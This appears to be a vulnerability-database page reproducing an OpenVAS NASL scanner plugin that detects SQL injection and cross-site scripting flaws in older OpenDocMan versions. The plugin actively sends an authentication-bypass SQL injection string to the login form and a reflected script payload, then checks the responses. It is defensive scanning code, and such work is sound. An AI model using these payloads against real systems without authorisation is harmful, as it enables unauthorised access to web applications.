Lucene search
K

OpenDocMan Multiple XSS and SQL Injection Vulnerabilities

🗓️ 29 Oct 2009 00:00:00Reported by Copyright (C) 2009 SecPodType 
openvas
 openvas
🔗 plugins.openvas.org👁 18 Views

OpenDocMan Multiple XSS and SQL Injection Vulnerabilitie

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-3789
20 Oct 200900:00
circl
CVE
CVE-2009-3788
26 Oct 200917:00
cve
CVE
CVE-2009-3789
26 Oct 200917:00
cve
CVE
CVE-2009-3801
27 Oct 200916:00
cve
Cvelist
CVE-2009-3788
26 Oct 200917:00
cvelist
Cvelist
CVE-2009-3789
26 Oct 200917:00
cvelist
Cvelist
CVE-2009-3801
27 Oct 200916:00
cvelist
EUVD
EUVD-2009-3760
7 Oct 202500:30
euvd
EUVD
EUVD-2009-3761
7 Oct 202500:30
euvd
EUVD
EUVD-2009-3773
7 Oct 202500:30
euvd
Rows per page
###############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_opendocman_xss_n_sql_inj_vuln.nasl 5122 2017-01-27 12:16:00Z teissa $
#
# OpenDocMan Multiple XSS and SQL Injection Vulnerabilities
#
# Authors:
# Sharath S <[email protected]>
#
# Copyright:
# Copyright (c) 2009 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow attacker to cause Cross-Site Scripting or
  SQL Injection attacks by executing arbitrary codes with in the context of the
  affected application.
  Impact Level: Application.";
tag_affected = "OpenDocMan version prior to 1.2.5.2";
tag_insight = "- Input passed to the 'frmuser' and 'frmpass' parameters in 'index.php' is not
    properly sanitised before being used in SQL queries.
  - Input passed to the 'last_message' parameter in add.php, toBePublished.php,
    index.php, and admin.php, and input passed via the URL to category.php,
    department.php, profile.php, rejects.php, search.php, toBePublished.php,
    view_file.php, and user.php is not properly sanitised before being returned
    to the user.";
tag_solution = "Upgrade to OpenDocMan version 1.2.5.2 or later.
  http://www.opendocman.com/";
tag_summary = "This host is running OpenDocMan and is prone to multiple Cross-Site
  Scripting and SQL Injection vulnerabilities.";

if(description)
{
  script_id(900885);
  script_version("$Revision: 5122 $");
  script_tag(name:"last_modification", value:"$Date: 2017-01-27 13:16:00 +0100 (Fri, 27 Jan 2017) $");
  script_tag(name:"creation_date", value:"2009-10-29 07:53:15 +0100 (Thu, 29 Oct 2009)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2009-3788", "CVE-2009-3789", "CVE-2009-3801");
  script_bugtraq_id(36777);
  script_name("OpenDocMan Multiple XSS and SQL Injection Vulnerabilities");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/30750/");
  script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/53886");
  script_xref(name : "URL" , value : "http://www.packetstormsecurity.org/0910-exploits/opendocman-sqlxss.txt");

  script_tag(name:"qod_type", value:"remote_banner");
  script_category(ACT_MIXED_ATTACK);
  script_copyright("Copyright (C) 2009 SecPod");
  script_family("Web application abuses");
  script_dependencies("secpod_opendocman_detect.nasl");
  script_require_ports("Services/www", 80);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}


include("http_func.inc");
include("version_func.inc");

docmanPort = get_http_port(default:80);
if(!docmanPort){
  exit(0);
}

docmanVer = get_kb_item("www/"+ docmanPort + "/OpenDocMan");
if(!docmanVer){
  exit(0);
}

docmanVer = eregmatch(pattern:"^(.+) under (/.*)$", string:docmanVer);
if(docmanVer[2] && !safe_checks())
{
  filename = string(docmanVer[2] + "/index.php");
  host = get_host_name();

  authVariables = "frmuser=admin' OR '1'='1&frmpass=&login=Enter";
  sndReq1 = string("POST ", filename, " HTTP/1.1\r\n",
                   "Host: ", host, "\r\n",
                   "Referer: http://", host, filename, "\r\n",
                   "Content-Type: application/x-www-form-urlencoded\r\n",
                   "Content-Length: ", strlen(authVariables), "\r\n\r\n",
                    authVariables);
  rcvRes1 = http_send_recv(port:docmanPort, data:sndReq1);
  if(egrep(pattern:"Location: out.php", string:rcvRes1))
  {
    security_message(docmanPort);
    exit(0);
  }

  sndReq2 = http_get(item:string(docmanVer[2], "/index.php?last_message=" +
                          "<script>alert(1)</script>"), port:docmanPort);
  rcvRes2 = http_send_recv(port:docmanPort, data:sndReq2);
  if(rcvRes2 =~ "HTTP/1\.. 200" && "<script>alert(1)</script><" >< rcvRes2)
  {
    security_message(docmanPort);
    exit(0);
  }
}

if(docmanVer[1])
{
  # Check for OpenDocMan version prior to 1.2.5.2
  if(version_is_less(version:docmanVer[1], test_version:"1.2.5.2")){
    security_message(docmanPort);
  }
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation